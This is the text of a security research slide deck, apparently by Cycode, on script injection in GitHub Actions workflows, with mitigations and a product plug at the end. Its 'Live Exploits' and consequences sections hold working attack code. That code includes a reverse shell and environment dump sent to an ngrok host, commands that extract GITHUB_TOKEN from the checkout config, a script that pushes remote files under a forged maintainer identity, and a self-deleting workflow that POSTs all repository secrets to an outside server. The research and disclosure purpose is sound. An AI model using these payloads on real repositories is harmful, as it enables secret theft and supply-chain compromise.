GitHub Actions Security Landscape

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(a) cycode

About Me



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Agenda

- CI/CD pipelines 1
- **GitHub Actions** 2
- Live Exploits 3
- **Real World Consequences** 4
- **Mitigation Techniques** 5



Research Team



The Cycode research team below found these vulnerabilities and promptly notified the concerned parties.



Alex Ilgayev Senior Security Researcher



Ronen Slavin CTO, Co-Founder

- Previously Malware Research Team Leader
 @ Check Point Research
- Enthusiastic friendly hacker
- @_alex_il_

- Co-founder & CTO @ FileLock (Acquired by Reason Security)
- Researcher @ Offensive
 Security Company
- Team Leader @ 8200
- @ronen_sl



Modern SDLC Tools



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Modern CI/CD Pipeline



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Top 10 CI/CD Security Risks



CICD-SEC-1	Insufficient Flow Control Mechanisms
CICD-SEC-2	Inadequate Identity and Access Management
CICD-SEC-3	Dependency Chain Abuse
CICD-SEC-4	Poisoned Pipeline Execution (PPE)
CICD-SEC-5	Insufficient PBAC (Pipeline-Based Access Controls)
CICD-SEC-6	Insufficient Credential Hygiene
CICD-SEC-7	Insecure System Configuration
CICD-SEC-8	Ungoverned Usage of 3rd Party Services
CICD-SEC-9	Improper Artifact Integrity Validation
CICD-SEC-10	Insufficient Logging and Visibility

GitHub Actions

GitHub & GitHub Actions

What is GitHub Actions?

A way to automate, customize, and execute your software development workflows right in your repository. You can discover, create, and share actions to perform any job you'd like, including CI/CD, and combine actions in a completely customized workflow.

GitHub numbers according to January 2023:

100M developers 420M repositories GitHub Actions numbers according to May 2023:

18K+ actions on the marketplace2.6M+ public workflows



Possible Usages of GitHub Actions



Building the code into a container and uploading it to the chosen registry.



Scheduled tasks that scan vulnerabilities in code.



Running tests for forked pull requests.



Automatic labeling for issues.



Sending issues to ticket handling system (Jira/Monday/Asana/etc.).



Supporting automatic merges for PR created by external bots.

And more.

GitHub Action Example

Here is a sample GitHub Actions workflow

printing "Hello World!".

It is a **YAML** file that will be triggered

by adding it to the .github/workflows

directory of the source code.



GitHub Action - Label Issues

This sample workflow will run on each opened issue in the repository. If the issue body contains "bug"

word, It will label the issue as a "bug".

```
name: Label Tssues
on:
 issues:
    types: [opened]
jobs:
 issue_check:
   runs-on: ubuntu-latest
    steps:
      - run:
          if [[ "${{ github.event.issue.body }}" == *"bug"* ]]
          then
            curl -X POST -H "Authorization: Token ${{ secrets.GITHUB_TOKEN }}" -d '{"labels": ["bug"]}' ${{
github.event.issue.url }}/labels
```



Live Exploits



DO NOT TRY these methods and exploits as these are shared for informational purposes only. Cycode and myself are not liable for the result of any attempt to take action based on the information presented.

Exploit 1







Injection attack

On each created issue:

- Check out the code
- Print the issue name and description
- Label the issue as "bug"

How it works: GitHub Runner Architecture

- The runner is a Github open-source project connecting to **GitHub Actions Service**, fetches **jobs**, and **executes** them
- It can run on a **GitHub hosted** machine, or **self-hosted**
- GitHub hosted runners will run as **ephemeral** environments
- For each workflow run, a new temporary **GITHUB_TOKEN** is created for possible API interactions





Github Access Tokens



- In order to access private Github assets, you need to provide an authentication token that details your permissions.
- Upon token creation, a developer chooses which permissions the token will have.

Select scopes

Scopes define the access for personal tokens. Read more about OAuth scopes.

🗆 геро	Full control of private repositories
repo:status	Access commit status
repo_deployment	Access deployment status
public_repo	Access public repositories
repo:invite	Access repository invitations
security_events	Read and write security events
workflow	Update GitHub Action workflows
□ write:packages	Upload packages to GitHub Package Registry
read:packages	Download packages from GitHub Package Registry
□ delete:packages	Delete packages from GitHub Package Registry
□ admin:org	Full control of orgs and teams, read and write org projects
write:org	Read and write org and team membership, read and write org projects
read:org	Read org and team membership, read org projects

Expiration *

No expiration

The token will never expire!

GitHub strongly recommends that you set an expiration date for your token to help keep your information secure. Learn more

Introducing: GITHUB_TOKEN



- The default permissions for a GITHUB_TOKEN are **read/write** for most of the events
- Has permissions only for the **current repository**
- The token is valid during the **action execution period** (**24 hours** at most)
- Used as default parameter in many actions and is the preferred method to invoke GitHub API functionalities
- Forked pull requests for public repositories will receive at most read permissions



(1) ngrok tcp 11000

- (2) tcp://8.tcp.ngrok.io:15063
- (3) nc -lv 11000
- (4) Sending malicious script
- (5) bash-c 'env' >/dev/tcp/8.tcp.ngrok.io/15063

Real World Consequences

Bug or Feature?

The following could be found on GitHub best practice papers:

"When creating workflows, *custom actions*, and *composite actions* actions, you should always consider whether your code might execute untrusted input from attackers. This can occur when an attacker adds malicious commands and scripts to a context. When your workflow runs, those strings might be interpreted as code which is then executed on the runner."

https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions#understanding-the-risk-of-script-injections

What Can We Do Now?



?

All repos

Q "{{ github.event.issue.title }}" "run:"



avol	<pre>oldsund/fpfordel > .github/workflows/promote.ym</pre>	ml 2 matches YA	ML 🥇 master
23	});		
24	- name: Sett variabler for cluster og	; tag	
25	run:		
26	echo "TAG=\$(echo '\${{ github.even	t.issue.title }}' awk '{print \$NF}' awk -F- '{print \$NF}	')" >> \$GITHUB
27	echo "IMAGE=\$IMAGE_BASE:\$(echo '\$	<pre>{{ github.event.issue.title }}' awk '{print \$NF}')" >> \$G</pre>	ITHUB_ENV
28	echo "CLUSTER=\$(echo '\${{github.e	<pre>vent.comment.body}}' cut -d' ' -f2)" >> \$GITHUB_ENV</pre>	
20			
2.5 0 ia77	nufrach/iterate) atthub/workflows/issue-onene	9 matches	YAMI P main
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29 N jazzy 8 9 10	zyfresh/iterate > .github/workflows/issue-opene steps: - run: echo " & The job was automatic - run: echo " @ Tesue Number %{{ gith	<pre>d.yml 9 matches 1 cally triggered by a \${{ github.event_name }} event." hub event issue number }}"</pre>	YAML 🖁 🕈 main
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23 jazzy 8 9 10 11 12 13	<pre>zyfresh/iterate > .github/workflows/issue-opene steps: run: echo " & The job was automatic run: echo " Issue Number \${{ gith run: echo " Issue Title \${{ gith run: echo " Issue Body \${{ githu run: echo " Issue Body \${ githu run: echo " P Issue Body \${ githu run: ech</pre>	d.yml 9 matches cally triggered by a \${{ github.event_name }} event." hub.event.issue.number }}" ub.event.issue.title }}" b.event.issue.body }}"	YAML 🖓 main

Is it widespread?

Eliquibase	WIRE		🕂 astro
<pre>20 18 jobs: 21 19 setup: 22 20 name: Setup 21 + if: \${{ github.event.label.name == 'SafeToBuild' }} 23 22 runs-on: ubuntu-latest 24 23 outputs: 25 24 proBranchName: \${{ steps.find-branches.outputs.proBranchName }}</pre>	23 + env: 24 + ISSUE_TITLE: \${{ github.event.issue 23 25 if: \${{ (startsWith(github.event.iss 24 26 run: 25 27 echo "github: \${{ github }}" 26 - echo "title not match. Exit. Title 28 + echo "title not match. Exit. Title 27 29 exit 1	<pre>e.title }} settitle ; suctitle, 'chore') && endsWith(github. is \${{ github.event.issue.title }}" is \$ISSUE_TITLE"</pre>	✓ ÷ 2 • • • • • • • • • • • • • • • • • • •
🚩 fauna	🍺 Dynamo	<pre>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>></pre>	9
> 79 mmmm .github/workflows/create-jira-tickets.yml []	issue_type_predicter.yaml	.1. QQ -8,9 +8,6 QQ jobs: 8 8 issueCheck: 9 9 runs-on: ubuntu-latest 10 10 steps:	
Load diff This file was deleted.	A This workflow was disabled manually.	11 - - name: Output version 12 - run: 13 - echo*log: \${{ github.event}} 14 11 - 15 12 - if: startsMith[github.event.i] 16 13 - if: startsMith[github.event.i]	.issue.body }}" ssue.body , '*#Describe the bug+*') == false

And more... These vulnerabilities can impact **millions of potential victims**

Consequences of Build Compromise



Exposing secrets to sensitive assets such as: artifact registries, AWS/GCP/ Azure assets and more. Using exposed GitHub tokens to commit to the repository. This can cause a critical supply chain incident, as the attacker can introduce backdoors deployed to end-users or organization environments. A much smaller risk would be the malicious actor's ability to run botnets or crypto miners using runner infrastructure.



Exposing Secrets: Environment Variables

\$ env | grep GITHUB_TOKEN
GITHUB_TOKEN=ghs_REDACTED

```
name: Demo vulnerable workflow
  issues:
   types: [opened]
env:
  # Environment variable for demonstration purposes
 GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
jobs:
 vuln_job:
     runs-on: ubuntu-latest
     steps:
    # Checkout used for demonstration purposes
     - uses: actions/checkout@v2
     - run: l
        echo "ISSUE TITLE: ${{github.event.issue.title}}"
        echo "ISSUE DESCRIPTION: ${{github.event.issue.body}}"
     - run: l
        curl -X POST -H "Authorization: Token ${{
secrets.BOT_TOKEN }}" -d '{"labels": ["New Issue"]}' ${{
github.event.issue.url }}/labels
```

Exposing Secrets: Secrets from Checkout Action

\$ cat \$GITHUB_WORKSPACE/.git/config | grep AUTHORIZATION

extraheader = AUTHORIZATION: basic REDACTED

\$ cat \$GITHUB_WORKSPACE/.git/config | grep AUTHORIZATION | cut -d':' -f 2 | cut -d' ' -f 3 | base64 -d

×-access-token: ghs_REDACTED

```
name: Demo vulnerable workflow
```

on:

issues:

types: [opened]

env:

```
# Environment variable for demonstration purposes
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
jobs:
```

vuln_job:

```
runs-on: ubuntu-latest
```

steps:

Checkout used for demonstration purposes

```
- uses: actions/checkout@v2
```

```
- run: |
    echo "ISSUE TITLE: ${{github.event.issue.title}}"
    echo "ISSUE DESCRIPTION: ${{github.event.issue.body}}"
    run: |
        curl -X POST -H "Authorization: Token ${{
    secrets.BOT_TOKEN }}" -d '{"labels": ["New Issue"]}' ${{
```

github.event.issue.url }}/labels

Exposing Secrets: Secrets in "run" Scripts

\$ cat \$RUNNER_TEMP/39dda61c-1cea-4106-b28e-ec9a4f223df2.sh

echo "ISSUE TITLE: New malicious issue title" && bash -i >&
/dev/tcp/8.tcp.ngrok.io/15063 0>1 && echo ""
echo "ISSUE DESCRIPTION: "

```
name: Demo vulnerable workflow
  issues:
    types: [opened]
env:
  # Environment variable for demonstration purposes
 GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
jobs:
 vuln_job:
     runs-on: ubuntu-latest
     steps:
     # Checkout used for demonstration purposes
     - uses: actions/checkout@v2
     - run: l
        echo "ISSUE TITLE: ${{github.event.issue.title}}"
        echo "ISSUE DESCRIPTION: ${{github.event.issue.body}}"
     - run: l
        curl -X POST -H "Authorization: Token ${{
secrets.BOT_TOKEN }}" -d '{"labels": ["New Issue"]}' ${{
github.event.issue.url }}/labels
```

Exposing Secrets: Secrets in "run" Scripts

- Creating a server that records all POST requests
- Creating a script that records modified shell scripts in a directory and sends them to a designated server.
- Packing the malicious script into a docker container.
- Running the container image in a detached mode

sudo docker run --rm -d -v
/home/runner/work/_temp:/app/monitored
\$DOCKER_USERNAME/actionmonitor \$LAB_URL

Exposing Secrets: Additional Advanced Methods

- Extract secrets from the memory layout of the Runner.Worker process.
- Recording all created processes and exfiltrating their environment variables.
- Recording all the network traffic and extracting sensitive information from it.
- Triggering the same job again by creating additional runner listener using the previously mentioned OAuth credentials.



Committing Malicious Code

Remote script

#!/bin/bash

File to commit
FILE_URL_PATH_TO_COMMIT=\$1
Repository path where to commit
PATH_TO_COMMIT=\$2

COMMIT_NAME="Maintainer Name" COMMIT_EMAIL="maintainer@gmail.com" COMMIT_MESSAGE="innocent commit message"

Fetching the file curl \$FILE_URL_PATH_TO_COMMIT -o \$PATH_TO_COMMIT --create-dirs

Commiting to the repo git add * find . -name '.[a-z]*' -exec git add '{}' ';' # Adding hidden files git config --global user.email \$COMMIT_EMAIL git config --global user.name "\$COMMIT_NAME" git commit -m "\$COMMIT_MESSAGE" git push -u origin HEAD

Malicious runner command

```
$ curl -o /tmp/script.sh $SCRIPT_URL
$ chmod +x /tmp/script.sh
$ /tmp/script.sh $MALICIOUS_FILE_URL innocent_file.txt
% Total
           % Received % Xferd Average Speed
                                             Time
Time
        Time Current
Dload Upload Total
                      Spent
                               Left Speed
       5 100
                  5
                      Ø
                            0
                                333
100
                                          0 --:--:--
--:-- 333
[main 196e93a] innocent commit message
1 file changed, 1 insertion(+)
create mode 100644 innocent file.txt
To <https://github.com/REDACTED/REDACTED>
  ff7a7fd..196e93a HEAD -> main
branch 'main' set up to track 'origin/main'.
```



Committing Malicious Code AND Exposing Secrets

Malicious YAML file

```
name: Exposing ALL Secrets
  workflow run:
    workflows: ["Vuln"]
jobs:
  expose_secrets:
     runs-on: ubuntu-latest
     steps:
       - run: l
           echo "${{ toJSON(secrets) }}" > .secrets
           curl -X POST -data "@.secrets" <SERVER URL>
           SHA=$(curl -X GET -H "Authorization: Token ${{ github.token }}"
https://api.github.com/repos/<REP0_OWNER>/<REP0_NAME>/contents/.github/workflows/in
nocent_workflow.yml -s | jq -r .sha)
           curl -X DELETE -H "Authorization: Token ${{ github.token }}"
https://api.github.com/repos/<REP0_OWNER>/<REP0_NAME>/contents/.github/workflows/in
nocent_workflow.yml -d '{"message":"innocent commit
message","committer":{"name":"Maintainer Name","email":"maintainer@gmail.com"},
"sha":"'"$SHA"'"}'
```

Malicious runner command

\$ curl \

-X PUT \
 -H "Accept:
application/vnd.github.v3+json" \
 -H "Authorization: Token
\$GITHUB_TOKEN" \

-d '{"message": "innocent commit
message", "committer":{"name":"Maintaine
rName", "email":"maintainer@gmail.com"},
"content":"bmFtZTogRXhwb...="}' \

https://api.github.com/repos/<REP0_OWNE
R>/<REP0_NAME>/contents/.github/workflo
ws/innocent_workflow.yml

Mitigation Techniques

Mitigations



Avoid run steps and use external actions instead

Sanitize your input using environment variables

Limit your GITHUB_TOKEN permissions

Use environments and branch protection

Require approval for all outside collaborators

Use Cycode CIMON, a build hardening tool.

Mitigations: Avoid "run" Steps

For example, instead of running "curl" to update a label (like in our example), you can use "andymckay/labeler" as an external action.



Ø

Mitigations: Sanitize Your Inputs

Instead of using GitHub context variables inside "run" commands, define and use them through environment variables.



Mitigations: Limit Token Permissions

For example, if our action only labels issues, we could limit its permissions with the following update.



Workflow permissions

Choose the default permissions granted to the GITHUB_TOKEN when running workflows in this repository. You can specify more granular permissions in the workflow using YAML. Learn more about managing permissions.

Read and write permissions

Workflows have read and write permissions in the repository for all scopes.

O Read repository contents and packages permissions

Workflows have read permissions in the repository for the contents and packages scopes only.

Mitigations:

Require Approval for Outside Collaborators

The default behavior is to require manual approval for first-time contributors. We suggest "Require approval for all outside collaborators" for a more robust defense.



Mitigations:

Use Environments and Branch Protection

We suggest storing the sensitive secrets in environments (available only in GitHub Enterprise), and protect them through branch protections rules.

	patterns.	to this environment using branch hame	Protected branches -
	Applies to 1 branch. Based on the existing re		
	(main		Currently applies to 1 branch
	Environment secrets Secrets are encrypted environment variables. 1 environment.	They are accessible only by GitHub Actions i	n the context of this
nch name pattern *	AWS_ACCESS_KEY_ID	Updated 2 hours ago	Update Remove
ain	AWS_SECRET_ACCESS_KEY	Updated 2 hours ago	Update Remove
lies to 1 branch	↔ Add Secret		
n			
ect matching branches			
Require a pull request bef When enabled, all commits n be merged into a branch that Require approvals	ore merging nust be made to a non-protected branch and submitted t matches this rule.	via a pull request before they can	
When enabled, pull reque requested before they ca	ists targeting a matching branch require a number of app n be merged.	provals and no changes	

Mitigations: Use Cycode CIMON

CIMON is a build hardening tool from Cycode.

https://cycode.com/cimon-build-hardening/

```
name: Label Issues
  issues:
    types: [opened]
env:
  # Environment variable for demonstration purposes
  GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
jobs:
  vuln_job:
     runs-on: ubuntu-latest
     steps:
     # CIMON building hardening agent
     - uses: cycodelabs/cimon-action@v0
       with:
         prevent: true
           allowed-hosts: cycode.com
```

Takeaways

- 1 Your software build pipelines could be compromised.
- 2 There have been several high-profile attacks in the wild that were focused on software build pipelines.
- 3 The consequences of these compromises could be disastrous
- 4 Don't just think of Security in the pipeline. Also focus on Security OF the pipeline.





Thank You!

Check out the full blog post: https://cycode.com/blog/github-actions-vulnerabilities

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